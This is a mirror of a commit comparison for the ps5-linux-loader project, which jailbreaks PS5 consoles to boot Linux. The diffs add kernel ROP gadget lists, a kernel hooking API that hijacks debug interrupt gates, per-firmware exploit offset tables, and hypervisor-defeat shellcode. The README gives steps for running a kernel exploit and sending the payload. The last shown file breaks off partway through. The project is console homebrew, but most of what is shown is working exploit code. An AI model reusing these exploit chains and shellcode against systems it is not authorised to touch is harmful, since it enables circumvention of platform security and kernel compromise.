mirror of
https://github.com/ps5-linux/ps5-linux-loader.git
synced 2026-10-20 10:10:29 -05:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
62020f5735 | ||
|
|
ba1e507efc | ||
|
|
fe3d214a52 | ||
|
|
691e50f359 | ||
|
|
8cda4c1428 | ||
|
|
64637c177e | ||
|
|
6dcfc5518d | ||
|
|
671b693978 | ||
|
|
8e7dd40df6 | ||
|
|
63d2216294 | ||
|
|
a2900e7704 | ||
|
|
39818a69e8 | ||
|
|
e14946aa0a | ||
|
|
f8fa7a86c1 | ||
|
|
cc0d5a2de5 | ||
|
|
b361f79cbc | ||
|
|
cd3880685c | ||
|
|
e727a2fc3b | ||
|
|
975e57ccd2 | ||
|
|
5a5aab694b | ||
|
|
d43a59d7d8 | ||
|
|
8196949cec | ||
|
|
1ce421223c | ||
|
|
7b5f5d2723 |
No files matched your search
@@ -1,5 +1,7 @@
|
||||
bin/
|
||||
shellcode_0607/shellcode_0607.h
|
||||
shellcode_kernel/shellcode_kernel.h
|
||||
shellcode_kernel_13xx/shellcode_kernel_13xx.h
|
||||
shellcode_hv/shellcode_hv.h
|
||||
*.elf
|
||||
*.bin
|
||||
|
||||
@@ -13,10 +13,15 @@ OBJS := $(SRC:.c=.o)
|
||||
CFLAGS := -std=c23 -Wall -Iinclude -Ishellcode_hv -Ishellcode_kernel
|
||||
LDFLAGS :=
|
||||
|
||||
SC_0607_H := shellcode_0607/shellcode_0607.h
|
||||
SC_HV_H := shellcode_hv/shellcode_hv.h
|
||||
SC_K_H := shellcode_kernel/shellcode_kernel.h
|
||||
SC_K_13XX_H := shellcode_kernel_13xx/shellcode_kernel_13xx.h
|
||||
|
||||
all: $(SC_HV_H) $(SC_K_H) $(BIN)
|
||||
all: $(SC_0607_H) $(SC_HV_H) $(SC_K_H) $(SC_K_13XX_H) $(BIN)
|
||||
|
||||
$(SC_0607_H):
|
||||
$(MAKE) -C shellcode_0607
|
||||
|
||||
$(SC_HV_H):
|
||||
$(MAKE) -C shellcode_hv
|
||||
@@ -24,14 +29,26 @@ $(SC_HV_H):
|
||||
$(SC_K_H):
|
||||
$(MAKE) -C shellcode_kernel
|
||||
|
||||
$(SC_K_13XX_H): $(SC_HV_H) shellcode_kernel/main.c \
|
||||
shellcode_kernel/boot_linux.c shellcode_kernel/utils.c \
|
||||
shellcode_kernel/main.h shellcode_kernel/boot_linux.h \
|
||||
shellcode_kernel/utils.h shellcode_kernel/shellcode_kernel_args.h \
|
||||
shellcode_kernel/linker.ld include/config.h include/linux.h \
|
||||
shellcode_kernel_13xx/Makefile
|
||||
$(MAKE) -C shellcode_kernel_13xx
|
||||
|
||||
$(OBJS): %.o: %.c
|
||||
$(CC) $(CFLAGS) -c -o $@ $<
|
||||
|
||||
source/prepare_resume.o: $(SC_K_13XX_H)
|
||||
|
||||
$(BIN): $(OBJS)
|
||||
@mkdir -p $(dir $@)
|
||||
$(CC) $(OBJS) $(LDFLAGS) -o $@
|
||||
|
||||
clean:
|
||||
rm -f $(BIN) $(OBJS)
|
||||
$(MAKE) -C shellcode_0607 clean
|
||||
$(MAKE) -C shellcode_hv clean
|
||||
$(MAKE) -C shellcode_kernel clean
|
||||
$(MAKE) -C shellcode_kernel_13xx clean
|
||||
@@ -1,29 +1,45 @@
|
||||
# ps5-linux
|
||||
|
||||
**ps5-linux** leverages a patched HV vulnerability to transform your PS5 Phat console running **3.00-6.02 firmwares** into a highly capable Linux PC, unlocking its full hardware potential for desktop use. Powered by 8 CPU cores (16 threads) at **3.5 GHz** and a GPU at **2.23 GHz**, it provides enough performance to run Steam games and various emulators with impressive fluidity. It supports HDMI 4K60 video and audio output. Furthermore, it allows you to utilize an **M.2 SSD** as a dedicated Linux partition, as well as all USB ports on the console.
|
||||
**ps5-linux** leverages patched HV vulnerabilities to transform your **PS5 Phat, Slim and Pro** console running **3.00-13.60 firmwares** into a highly capable Linux PC, unlocking its full hardware potential for desktop use. Powered by 8 CPU cores (16 threads) at **3.5 GHz** and a GPU at **2.23 GHz**, it provides enough performance to run Steam games and various emulators with impressive fluidity.
|
||||
|
||||
Features:
|
||||
|
||||
- HDMI 4K60 video and audio output
|
||||
- M.2 SSD as dedicated Linux partition
|
||||
- All USB ports usable for peripherals
|
||||
- BD drive usable via custom ahci driver
|
||||
- Internal Bluetooth usable via custom xhci driver
|
||||
- Ethernet port usable via custom gbe driver
|
||||
- Hardware video decode, encode and transcode (VCN) via VAAPI
|
||||
|
||||

|
||||
|
||||
## PS5 firmware
|
||||
|
||||
*ps5-linux* is currently only supported on PS5 Phat on the following firmwares:
|
||||
*ps5-linux* is supported on the following firmwares:
|
||||
|
||||
**PS5 Phat and Slim:**
|
||||
- **3.00**, **3.10**, **3.20**, **3.21** without M.2 support
|
||||
- **4.00**, **4.02**, **4.03**, **4.50**, **4.51** with M.2 support
|
||||
- **5.00**, **5.02**, **5.10**, **5.50** with M.2 support
|
||||
- **6.00**, **6.02** with M.2 support
|
||||
- **6.00**, **6.02**, **6.50** with M.2 support
|
||||
- **7.00**, **7.01**, **7.20**, **7.40**, **7.60**, **7.61** with M.2 support
|
||||
- **13.00**, **13.20**, **13.60** with M.2 support
|
||||
|
||||
**PS5 Pro:**
|
||||
- **13.60** with M.2 support
|
||||
|
||||
Support for 1.xx and 2.xx firmwares may be added in the future, but we will not prioritize this effort.
|
||||
|
||||
If you want to update to a specific firmware, [download the correct PUP](https://darthsternie.net/ps5-firmwares/) and follow the [official guide](https://www.playstation.com/en-us/support/hardware/reinstall-playstation-system-software-safe-mode) to upgrade your PS5. Obviously you cannot downgrade.
|
||||
If you are on firmwares in-between or you want to update to a specific firmware, [download the correct PUP](https://darthsternie.net/ps5-firmwares/) and follow the [official guide](https://www.playstation.com/en-us/support/hardware/reinstall-playstation-system-software-safe-mode) to upgrade your PS5. **Obviously you cannot downgrade.**
|
||||
|
||||
## Hardwares
|
||||
|
||||
To run *ps5-linux*, you need some required and optional hardwares:
|
||||
|
||||
- **Required**: USB drive with minimum 64GB (ideally external SSD) to install and run Linux.
|
||||
- **Required**: USB Ethernet/WLAN adapter for internet access.
|
||||
- **Required**: USB keyboard/mouse (dongles supported too).
|
||||
- *Optional*: USB WLAN adapter for WLAN internet access.
|
||||
- *Optional*: M.2 SSD compatible on PS5 (see [official guide](https://www.playstation.com/en-us/support/hardware/ps5-install-m2-ssd)) to run Linux from SSD.
|
||||
- *Optional*: Bluetooth dongle to connect with PS5 DualSense controller.
|
||||
|
||||
@@ -47,9 +63,15 @@ If you reset your PS5 settings or reinstall the FW, you need to reapply these se
|
||||
|
||||
#### Pre-built images
|
||||
|
||||
You can download them from [ps5-linux-image](https://github.com/ps5-linux/ps5-linux-image/releases/tag/latest). Recommended is `ps5-ubuntu2604.img.xz`.
|
||||
You can download them from [ps5-linux-image](https://github.com/ps5-linux/ps5-linux-image/releases/tag/latest). Recommended is `ps5-ubuntu2604.img.xz`. Unpack the `.xz` file.
|
||||
|
||||
#### Linux/macOS:
|
||||
#### Build your own image
|
||||
|
||||
If you use Windows, run this in PowerShell or CMD as administrator to install WSL
|
||||
|
||||
```bash
|
||||
wsl --install
|
||||
```
|
||||
|
||||
Install docker:
|
||||
|
||||
@@ -60,38 +82,6 @@ sudo service docker start
|
||||
sudo usermod -aG docker $USER
|
||||
```
|
||||
|
||||
Restart the terminal.
|
||||
|
||||
```bash
|
||||
git clone https://github.com/ps5-linux/ps5-linux-image
|
||||
cd ps5-linux-image
|
||||
chmod +x ./build_image.sh
|
||||
./build_image.sh --distro ubuntu2604
|
||||
```
|
||||
|
||||
#### Windows (WSL2):
|
||||
|
||||
If WSL2 is not installed yet, run this in PowerShell or CMD as administrator, then restart:
|
||||
|
||||
```bash
|
||||
wsl --install
|
||||
```
|
||||
|
||||
Then open WSL and set up Docker:
|
||||
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install docker.io -y
|
||||
sudo service docker start
|
||||
sudo usermod -aG docker $USER
|
||||
```
|
||||
|
||||
Restart WSL from PowerShell/CMD:
|
||||
|
||||
```bash
|
||||
wsl --shutdown
|
||||
```
|
||||
|
||||
Then clone and build:
|
||||
|
||||
```bash
|
||||
@@ -138,7 +128,7 @@ The front top Type-A port is USB 2.0 which is slower and thus not recommended.
|
||||
5. Go into PS5 advanced network settings and set primary DNS to your PCs IP address and leave secondary at `0.0.0.0`
|
||||
6. Go to user manual in settings and accept untrusted certificate prompt, run.
|
||||
|
||||
#### Firmware 6.00-6.02
|
||||
#### Firmware 6.00-7.61
|
||||
|
||||
1. Install Y2JB by following https://github.com/Gezine/Y2JB.
|
||||
2. Run kernel exploit: `python3 payload_sender.py $PS5IP 50000 payloads/lapse.js`
|
||||
@@ -164,11 +154,12 @@ Send the payload with your `$PS5IP` (shown on the page):
|
||||
socat -t 99999999 - TCP:$PS5IP:9021 < ps5-linux-loader.elf
|
||||
```
|
||||
|
||||
If all is successful, the payload will automatically go into rest mode. Wait until the orange LED stops blinking and becomes static. Only then, press the power button again to boot your PS5 into Linux. If the boot is successful, **the LED should turn white**. If it boots back into PS5 OS, then it's because you pressed the power button too early. Or, you did not enable rest mode features as described above.
|
||||
If all is successful, the payload will automatically go into rest mode. Wait until the orange LED stops blinking and becomes static. Only then, press the power button again to boot your PS5 into Linux. If the boot is successful, **the LED should turn white**. If it boots back into PS5 OS, then it's because you pressed the power button too early. Or, you did not enable rest mode features as described above. If it freezes instead of going into rest mode, then it is likely because you have etahen/kstuff enabled, which is incompatible. Disable them.
|
||||
|
||||
If the LED is white, but you still have a blackscreen then:
|
||||
|
||||
- Try removing `video=DP-1:1920x1080@60` line in cmdline.txt.
|
||||
- Try setting HDCP on or off (try both).
|
||||
- Try different monitors or capture cards, ideally with different resolutions. Currently, some monitors have issues.
|
||||
- Try setting `amdgpu.force_1080p=1` in `cmdline.txt` in the FAT32 partition of the USB drive.
|
||||
|
||||
@@ -214,7 +205,7 @@ Then, there are certain settings and commands we recommend doing:
|
||||
make
|
||||
```
|
||||
|
||||
7. Install the mwifiex driver for the internal WLAN chip:
|
||||
7. If you have a Marvell WLAN chip (`lspci -nn` shows `40:00.7 Ethernet controller [0200]: Marvell Technology Group Ltd. Device [1b4b:2b56] (rev 02)`), then you can install the WLAN driver:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/ps5-linux/ps5-linux-mwifiex
|
||||
@@ -275,7 +266,7 @@ For any future ps5-linux updates, you can download the `.deb` or `.pkg.tar.zst`
|
||||
|
||||
## FAQ
|
||||
|
||||
- Q: Will higher >=6.50 firmwares be supported?
|
||||
- Q: Will higher >=14.00 firmwares be supported?
|
||||
- A: No.
|
||||
- Q: Why can I not use M.2 on 3.xx?
|
||||
- A: Because the PS5 fails to boot with it attached.
|
||||
@@ -286,9 +277,11 @@ For any future ps5-linux updates, you can download the `.deb` or `.pkg.tar.zst`
|
||||
- Q: Can I continue using my PS5 if I install Linux?
|
||||
- A: Yes, the internal SSD is not modified
|
||||
- Q: Can I use the PS5's NIC/WLAN module in Linux?
|
||||
- A: In theory yes, but someone needs to write or adapt drivers to use them.
|
||||
- A: WLAN is supported for Marvell chipsets (Phat/Slim) and the MediaTek MT7925 (Pro) — both work out of the box with the included firmware. Ethernet is supported on all models.
|
||||
- Q: Does hardware video decode and transcode work?
|
||||
- A: Yes, since [ps5-linux-patches #38](https://github.com/ps5-linux/ps5-linux-patches/pull/38). Decode works for H.264, HEVC Main/Main 10, VP9 Profile 0/2, VC-1 and MPEG-2. Encode works for H.264, and for HEVC with I-frames only.
|
||||
- Q: Does the DualSense controller work?
|
||||
- A: Via a Bluetooth dongle. Built-in Bluetooth is not yet supported.
|
||||
- A: Yes, via internal Bluetooth as well as Bluetooth dongle.
|
||||
- Q: What resolutions and refresh rates are supported?
|
||||
- A: 1080p, 1440p and 2160p at 60Hz are broadly supported. 1440p@120Hz has been the only confirmed working on the DELL S3225QC yet. 120Hz or 30Hz may be added in the future.
|
||||
- Q: After reboot, I get a "Repairing" screen and "Your PS5 wasn't turned off properly." screen. Is that normal?
|
||||
@@ -311,6 +304,7 @@ Many configurations, tips and tricks from the [AMD BC250 Documentation](https://
|
||||
- screen save does not work properly
|
||||
- hdmi audio output does not work on some monitors
|
||||
- hdmi 1440p and 2160p video output does not work on some monitors
|
||||
- VCN HEVC encode has corrupt chroma with P-frames, use I-frame only (`-g 1 -bf 0`) or H.264
|
||||
|
||||
## Upstreamed changes
|
||||
|
||||
@@ -328,10 +322,12 @@ Join our [Discord server](https://discord.gg/PeMGVB7BAm) to celebrate Linux on P
|
||||
- [theflow](https://github.com/TheOfficialFloW): [ps5-linux-loader](https://github.com/ps5-linux/ps5-linux-loader), [ps5-linux-patches](https://github.com/ps5-linux/ps5-linux-patches), [ps5-linux-tools](https://github.com/ps5-linux/ps5-linux-tools)
|
||||
- [c0w](https://github.com/c0w-ar): [ps5-linux-loader](https://github.com/ps5-linux/ps5-linux-loader)
|
||||
- [resulknad](https://github.com/resulknad): [ps5-linux-image](https://github.com/ps5-linux/ps5-linux-image)
|
||||
- [rmuxnet](https://github.com/rmuxnet): [ps5 ethernet driver](https://github.com/ps5-linux/ps5-linux-patches/commit/643e214d7bd37f292045fc0dbb821e421f7a3e47)
|
||||
- [fail0verflow](https://github.com/fail0verflow): [prosperous](https://github.com/fail0verflow/prosperous)
|
||||
- [flatz](github.com/flatz): [HV exploit](https://gist.github.com/flatz/620ddda6d64acca6d1c990dc3080ac0e)
|
||||
- [flatz](https://github.com/flatz): [HV exploit](https://gist.github.com/flatz/620ddda6d64acca6d1c990dc3080ac0e)
|
||||
- [cragson](https://github.com/cragson): [HV expoit implementation](https://github.com/cragson/ps5-hen)
|
||||
- [john-tornblom](https://github.com/john-tornblom): [PS5 SDK](https://github.com/ps5-payload-dev/sdk)
|
||||
- [echostretch](https://github.com/echostretch): Offsets and testing
|
||||
- [kirathenotebook](https://github.com/kirathenotebook): Betatesting and readme contribution
|
||||
- 15432: Tests on BC-250
|
||||
- [DeathlySin](https://github.com/DeathlySin): PS5 Pro support (E820 memory map, I/O fix)
|
||||
+7
-1
@@ -20,7 +20,8 @@
|
||||
// This is used as transitional storage from ProsperoOS to Kernel shellcode
|
||||
#define kernel_cave 0xFFFF800000000000
|
||||
#define kernel_cave_shellcode kernel_cave
|
||||
#define kernel_cave_files kernel_cave_shellcode + PAGE_SIZE + PAGE_SIZE
|
||||
#define kernel_cave_shellcode_0761 kernel_cave_shellcode + PAGE_SIZE + PAGE_SIZE
|
||||
#define kernel_cave_files kernel_cave_shellcode_0761 + PAGE_SIZE
|
||||
#define kernel_cave_linux_info kernel_cave_files
|
||||
#define kernel_cave_bzImage kernel_cave_linux_info + PAGE_SIZE
|
||||
|
||||
@@ -32,6 +33,11 @@
|
||||
"root=/dev/sda2 rw rootwait console=ttyTitania0 console=tty0 " \
|
||||
"video=DP-1:1920x1080@60 mitigations=off idle=halt pci=pcie_bus_perf"
|
||||
|
||||
// HV layout: derive_h() returns the region base at runtime. On regular the
|
||||
// HV binary starts at the region base; on Pro it sits 8MB in.
|
||||
#define HV_BASE_REGULAR 0x062800000ULL
|
||||
#define HV_CODE_OFFSET_PRO 0x800000ULL
|
||||
|
||||
#define DEBUG 0 // Toggle to 0 to disable logs
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,8 @@
|
||||
#ifndef HV_DEFEAT_0607_H
|
||||
#define HV_DEFEAT_0607_H
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
int hv_defeat_0607(void *shellcode_kernel, size_t shellcode_kernel_len);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,10 @@
|
||||
#ifndef HV_DEFEAT_13XX_H
|
||||
#define HV_DEFEAT_13XX_H
|
||||
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
uint64_t derive_h(void);
|
||||
int hv_defeat_13xx(void *shellcode_kernel, size_t shellcode_kernel_len);
|
||||
|
||||
#endif
|
||||
+127
@@ -0,0 +1,127 @@
|
||||
#ifndef KHOOK_H
|
||||
#define KHOOK_H
|
||||
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
typedef enum {
|
||||
KERNEL_GADGET_PIVOT_ADD_RSP28_RET,
|
||||
KERNEL_GADGET_IRETQ,
|
||||
KERNEL_GADGET_POP_RAX,
|
||||
KERNEL_GADGET_POP_RCX,
|
||||
KERNEL_GADGET_POP_RDI,
|
||||
KERNEL_GADGET_POP_RSI,
|
||||
KERNEL_GADGET_POP_RDX,
|
||||
KERNEL_GADGET_POP_R8,
|
||||
KERNEL_GADGET_POP_RSP,
|
||||
KERNEL_GADGET_STORE_RCX_R8,
|
||||
KERNEL_GADGET_STORE_RDI8_RCX,
|
||||
KERNEL_GADGET_OR_RCX_EAX,
|
||||
KERNEL_GADGET_SET_DR7,
|
||||
KERNEL_GADGET_ST_RCX_RDX,
|
||||
KERNEL_GADGET_ST_RCX_RAX,
|
||||
KERNEL_GADGET_MOV_RAX_RSI,
|
||||
KERNEL_GADGET_MOV_RAX_RDI,
|
||||
KERNEL_GADGET_REP_MOVSB,
|
||||
KERNEL_GADGET_CLD,
|
||||
KERNEL_GADGET_RET_TRAMP,
|
||||
KERNEL_GADGET_DBREG_RESUME,
|
||||
KERNEL_GADGET_MAX
|
||||
} kgadget_t;
|
||||
|
||||
typedef int (*kh_read_fn)(uint64_t kaddr, void *dst, size_t len);
|
||||
typedef int (*kh_write_fn)(uint64_t kaddr, const void *src, size_t len);
|
||||
|
||||
#define KH_RC_RBP 0x20
|
||||
#define KH_RC_RSP 0x28
|
||||
#define KH_RC_RIP 0x38
|
||||
#define KH_RC_DR7 0xa0
|
||||
|
||||
#define KH_USER_CS 0x43
|
||||
#define KH_USER_SS 0x3b
|
||||
#define KH_RFLAGS_USER 0x202ULL
|
||||
#define KH_RF 0x10000ULL
|
||||
#define KH_DR7_BP0_EXEC 0x403ULL
|
||||
|
||||
#define KH_GATE_INTERRUPT 0xE
|
||||
#define KH_VEC_DB 1
|
||||
#define KH_TSS_IST1 0x24
|
||||
#define KH_TSS_IST(k) (KH_TSS_IST1 + ((uint64_t)((k)-1) * 8))
|
||||
#define KH_TSS_STRIDE 0x68
|
||||
#define KH_KIMG_MAX 0x4000000ULL
|
||||
|
||||
#define KH_OFF_CHAIN_ARM 0x040
|
||||
#define KH_OFF_CHAIN_CONT 0x0a0
|
||||
#define KH_OFF_RESUME 0x140
|
||||
#define KH_OFF_CHAIN_DISP 0x240
|
||||
#define KH_OFF_USER 0x440
|
||||
#define KH_SCRATCH_MIN 0x500
|
||||
#define KH_SCRATCH_BIG 0x4000
|
||||
#define KH_OFF_BIG_CHAIN 0x3a00
|
||||
|
||||
typedef struct {
|
||||
uint8_t *buf;
|
||||
size_t cap;
|
||||
size_t len;
|
||||
int err;
|
||||
} kh_chain_t;
|
||||
|
||||
typedef struct {
|
||||
kh_read_fn read;
|
||||
kh_write_fn write;
|
||||
uint64_t kernel_base;
|
||||
uint64_t idt_base;
|
||||
uint64_t tss_base;
|
||||
uint64_t tss_stride;
|
||||
int core_id;
|
||||
uint64_t scratch_base;
|
||||
int ist_index;
|
||||
uint64_t hook_kaddr;
|
||||
uint16_t kcs;
|
||||
uint64_t saved_gate_lo;
|
||||
uint64_t saved_gate_hi;
|
||||
uint64_t saved_ist;
|
||||
int installed;
|
||||
int oneshot;
|
||||
uint64_t resume_rip;
|
||||
int resume_rax_set;
|
||||
uint64_t resume_rax;
|
||||
int resume_rsi_set;
|
||||
uint64_t resume_rsi;
|
||||
int resume_rdi_set;
|
||||
uint64_t resume_rdi;
|
||||
int resume_rdx_set;
|
||||
uint64_t resume_rdx;
|
||||
uint64_t arm_rip_slot;
|
||||
uint64_t arm_rsp_slot;
|
||||
} khook_t;
|
||||
|
||||
uint64_t kgadget(kgadget_t gadget);
|
||||
void kh_chain_init(kh_chain_t *chain, uint8_t *buf, size_t cap);
|
||||
int kh_chain_q(kh_chain_t *chain, uint64_t raw);
|
||||
int kh_chain_g(kh_chain_t *chain, kgadget_t gadget);
|
||||
int kh_chain_store(kh_chain_t *chain, uint64_t kaddr, uint64_t val);
|
||||
int kh_chain_memcpy(kh_chain_t *chain, uint64_t dst_kaddr, uint64_t src_kaddr, uint64_t n_bytes);
|
||||
int kh_chain_call(kh_chain_t *chain, uint64_t fn_kaddr, int argc, uint64_t a0, uint64_t a1, uint64_t a2);
|
||||
int kh_init(khook_t *kh, kh_read_fn rd, kh_write_fn wr, uint64_t kernel_base, uint64_t scratch_base, int ist_index);
|
||||
void kh_set_hook_target(khook_t *kh, uint64_t kaddr);
|
||||
void kh_set_resume_rip(khook_t *kh, uint64_t kaddr);
|
||||
void kh_set_resume_skip(khook_t *kh, uint64_t skip_bytes);
|
||||
void kh_set_resume_rax(khook_t *kh, uint64_t rax);
|
||||
void kh_clear_resume_rax(khook_t *kh);
|
||||
void kh_set_resume_rsi(khook_t *kh, uint64_t rsi);
|
||||
void kh_clear_resume_rsi(khook_t *kh);
|
||||
void kh_set_resume_rdi(khook_t *kh, uint64_t rdi);
|
||||
void kh_clear_resume_rdi(khook_t *kh);
|
||||
void kh_set_resume_rdx(khook_t *kh, uint64_t rdx);
|
||||
void kh_clear_resume_rdx(khook_t *kh);
|
||||
void kh_set_tables(khook_t *kh, uint64_t idt_base, uint64_t tss_base);
|
||||
void kh_set_core(khook_t *kh, int core_id);
|
||||
uint64_t kh_find_cave(khook_t *kh, uint64_t start, uint64_t len, size_t need);
|
||||
uint64_t kh_user_data_addr(const khook_t *kh);
|
||||
int kh_install(khook_t *kh, const kh_chain_t *handler);
|
||||
void kh_trigger(khook_t *kh);
|
||||
int kh_disarm(khook_t *kh);
|
||||
int kh_restore(khook_t *kh);
|
||||
|
||||
#endif
|
||||
@@ -20,10 +20,13 @@ typedef struct _offset_list {
|
||||
uint64_t FUN_MEMCPY;
|
||||
uint64_t GAD_ADD_RSP_28_POP_RBP_RET;
|
||||
uint64_t GAD_IRETQ;
|
||||
uint64_t GAD_POP_RAX_RET;
|
||||
uint64_t GAD_POP_RDI_RET;
|
||||
uint64_t GAD_POP_RSI_RET;
|
||||
uint64_t GAD_POP_RDX_RET;
|
||||
uint64_t GAD_POP_RCX_RET;
|
||||
uint64_t GAD_POP_RSP_RET;
|
||||
uint64_t GAD_WRMSR_RET;
|
||||
uint64_t GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
|
||||
/* Shellcode Kernel */
|
||||
uint64_t HOOK_ACPI_WAKEUP_MACHDEP;
|
||||
@@ -47,8 +50,33 @@ typedef struct _offset_list {
|
||||
/* Wifi FW */
|
||||
uint64_t PS5_WIFI_FW_OFFSET;
|
||||
uint64_t PS5_WIFI_FW_SIZE;
|
||||
|
||||
uint64_t HV_MP_STARTUP_CALL;
|
||||
uint64_t MP_STARTUP_INIT_VECTOR;
|
||||
uint64_t DATA_CAVE;
|
||||
uint64_t GAD_PIVOT_ADD_RSP28_RET;
|
||||
uint64_t GAD_POP_R8_RET;
|
||||
uint64_t GAD_STORE_RCX_R8_RET;
|
||||
uint64_t GAD_STORE_RDI8_RCX_RET;
|
||||
uint64_t GAD_OR_RCX_EAX_RET;
|
||||
uint64_t GAD_SET_DR7_RET;
|
||||
uint64_t GAD_STORE_RCX_RDX_RET;
|
||||
uint64_t GAD_STORE_RCX_RAX_RET;
|
||||
uint64_t GAD_MOV_RAX_RSI_RET;
|
||||
uint64_t GAD_MOV_RAX_RDI_RET;
|
||||
uint64_t GAD_REP_MOVSB_RET;
|
||||
uint64_t GAD_CLD_RET;
|
||||
uint64_t GAD_RET_TRAMP;
|
||||
uint64_t GAD_DBREG_RESUME;
|
||||
uint64_t RESERVED_56;
|
||||
uint64_t RESERVED_57;
|
||||
uint64_t NVS_SIGNATURE;
|
||||
uint64_t HV_EFI_MAP_ROOT;
|
||||
} offset_list;
|
||||
|
||||
_Static_assert(sizeof(offset_list) == 0x1E0,
|
||||
"offset_list must match the 13.60 60-qword table");
|
||||
|
||||
extern offset_list off_0300;
|
||||
extern offset_list off_0310;
|
||||
extern offset_list off_0320;
|
||||
@@ -64,5 +92,15 @@ extern offset_list off_0510;
|
||||
extern offset_list off_0550;
|
||||
extern offset_list off_0600;
|
||||
extern offset_list off_0602;
|
||||
extern offset_list off_0650;
|
||||
extern offset_list off_0700;
|
||||
extern offset_list off_0701;
|
||||
extern offset_list off_0720;
|
||||
extern offset_list off_0740;
|
||||
extern offset_list off_0760;
|
||||
extern offset_list off_0761;
|
||||
extern offset_list off_1300;
|
||||
extern offset_list off_1320;
|
||||
extern offset_list off_1360;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,11 @@
|
||||
#ifndef SHELLCODE_1360_H
|
||||
#define SHELLCODE_1360_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
extern const uint8_t stock_shellcode_kernel_1360[];
|
||||
extern const uint32_t stock_shellcode_kernel_1360_len;
|
||||
extern const uint8_t stock_shellcode_ap_1360[];
|
||||
extern const uint32_t stock_shellcode_ap_1360_len;
|
||||
|
||||
#endif
|
||||
+2
-1
@@ -8,6 +8,7 @@
|
||||
#include <string.h>
|
||||
|
||||
int sceKernelGetCurrentCpu();
|
||||
int sceKernelGetMainSocId();
|
||||
int sceKernelSendNotificationRequest(int, void *, size_t, int);
|
||||
int sceKernelOpenEventFlag(void *, const char *);
|
||||
int sceKernelNotifySystemSuspendStart(void);
|
||||
@@ -162,7 +163,7 @@ bool if_exists(const char *path);
|
||||
bool sceKernelIsTestKit(void);
|
||||
bool sceKernelIsDevKit(void);
|
||||
|
||||
enum kit_type { KIT_RETAIL, KIT_TESTKIT, KIT_DEVKIT };
|
||||
enum kit_type { KIT_RETAIL, KIT_TESTKIT, KIT_DEVKIT, KIT_RETAIL_PRO };
|
||||
|
||||
enum kit_type get_kit_type(void);
|
||||
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
ifeq ($(shell uname -m),aarch64)
|
||||
CC = x86_64-linux-gnu-gcc
|
||||
LD = x86_64-linux-gnu-ld
|
||||
OBJCOPY = x86_64-linux-gnu-objcopy
|
||||
else
|
||||
CC = gcc
|
||||
LD = ld
|
||||
OBJCOPY = objcopy
|
||||
endif
|
||||
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -mno-sse -mno-sse2 -m64
|
||||
LDFLAGS = -T linker.ld
|
||||
TARGET = shellcode_0607.elf
|
||||
TEXT_BIN = shellcode_0607.bin
|
||||
dump = shellcode_0607.h
|
||||
|
||||
SRC = main.c utils.c
|
||||
OBJ = $(SRC:.c=.o)
|
||||
|
||||
all: $(dump)
|
||||
|
||||
$(TARGET): $(OBJ)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET)
|
||||
|
||||
%.o: %.c
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
|
||||
$(TEXT_BIN): $(TARGET)
|
||||
$(OBJCOPY) -O binary -j .shell_code $(TARGET) $(TEXT_BIN)
|
||||
|
||||
clean:
|
||||
rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump)
|
||||
|
||||
$(dump): $(TEXT_BIN)
|
||||
xxd -i $(TEXT_BIN) > $(dump)
|
||||
@@ -0,0 +1,18 @@
|
||||
/* linker.ld */
|
||||
ENTRY(main)
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x1000; /* 0x1000 to avoid warnings from linker */
|
||||
/* Place our custom header first */
|
||||
.shell_code :
|
||||
{
|
||||
*(.entry_point)
|
||||
*(.text)
|
||||
*(.text.*)
|
||||
*(.data*)
|
||||
*(.rodata*)
|
||||
*(.bss)
|
||||
*(.bss.*)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
#include "utils.h"
|
||||
|
||||
// 7.xx offsets
|
||||
#define HV_REENTER_HYPERCORE_07xx 0x0000000062806380ULL
|
||||
#define HV_STACK_TABLE_07xx 0x000000006282E120ULL
|
||||
#define HV_PML4_07xx 0x000000006282E1A0ULL
|
||||
#define HV_ENTRY_07xx 0x000000006282E1B8ULL
|
||||
#define HV_MAIN_07xx 0x0000000000000E20
|
||||
#define G_VM_TAB_07xx 0x0000000000027C80
|
||||
|
||||
// 6.50 offsets
|
||||
#define HV_REENTER_HYPERCORE_0650 0x0000000062806780ULL
|
||||
#define HV_STACK_TABLE_0650 0x000000006282D0C0ULL
|
||||
#define HV_PML4_0650 0x000000006282D140ULL
|
||||
#define HV_ENTRY_0650 0x000000006282D158ULL
|
||||
#define HV_MAIN_0650 0x0000000000000F10
|
||||
#define G_VM_TAB_0650 0x0000000000023C80
|
||||
|
||||
#define MSR_APICBASE 0x01b
|
||||
#define MSR_GSBASE 0xc0000101
|
||||
|
||||
#define DEFAULT_APIC_BASE 0xfee00000
|
||||
|
||||
#define APICBASE_ENABLED 0x00000800
|
||||
#define APICBASE_BSP 0x00000100
|
||||
|
||||
#define NESTED_CTRL_NP_ENABLE 0x1
|
||||
|
||||
__attribute__((section(".entry_point"), naked)) uint32_t main(void) {
|
||||
volatile int fw_version = 0x11AA11AA; // To be updated by loader
|
||||
|
||||
uint64_t hv_pml4 =
|
||||
*(uint64_t *)(fw_version == 0x0650 ? HV_PML4_0650 : HV_PML4_07xx);
|
||||
uint64_t hv_base = fw_version == 0x0650
|
||||
? (*(uint64_t *)HV_ENTRY_0650 - HV_MAIN_0650)
|
||||
: (*(uint64_t *)HV_ENTRY_07xx - HV_MAIN_07xx);
|
||||
|
||||
uintptr_t *g_vm_tab = (uintptr_t *)vtophys_custom(
|
||||
hv_base + (fw_version == 0x0650 ? G_VM_TAB_0650 : G_VM_TAB_07xx),
|
||||
hv_pml4);
|
||||
